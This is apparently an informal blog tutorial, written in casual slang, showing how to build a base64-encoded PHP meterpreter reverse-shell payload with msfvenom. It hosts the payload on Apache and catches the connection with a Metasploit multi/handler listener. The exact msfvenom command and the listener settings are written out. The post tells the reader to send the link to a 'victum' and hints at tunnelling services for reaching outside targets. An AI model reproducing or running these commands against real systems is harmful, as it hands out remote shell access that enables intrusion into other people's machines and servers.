So let make payloads with php using msfvemon
what is msfvemon ?? well metasploit framework venom is a payload gen in Kali Linux parrot cyborg hawk black arch hell u can get it on your mobile with termux
so lets start but starting apache2 so open terminal and type >service apache2 start
Hacking with msfvemon PHP payload 1

now we need are local ip or external ip for local ip ifconfig and for external google whats my ip
note if using external link u need to forward the ports on your router but thats for another post lol

Hacking with msfvemon PHP payload 2

now u got the local ip lets make the payload
msfvenom -p php/meterpreter/reverse_tcp LHOST= 192.168.8.107 LPORT=4444 -e php/base64 -f raw > /root/Desktop/Home.php
Hacking with msfvemon PHP payload 3

now go to the Desktop and copy the payload to ur html file in /var/www/html folder
Hacking with msfvemon PHP payload 4

now open a new terminal and type msfconsole
Hacking with msfvemon PHP payload 5

use exploit/multi/handler/
set payload php/meterpreter/reverse_tcp
set lhost ur local host or external ip or serveo or ngrok there for another post
set lport 4444
exploit
Hacking with msfvemon PHP payload 6
now send the victum the link 192.168.8.107:4444/Home.php as u see from the pic above the payload connected ^^^
Hacking with msfvemon PHP payload 7

now type help and u get full list commands u can run under metasploit 🙂 next one i do on payloads i will show u how to make payload with out ur ip

2 thoughts on “Hacking with msfvemon PHP payload

Leave a Reply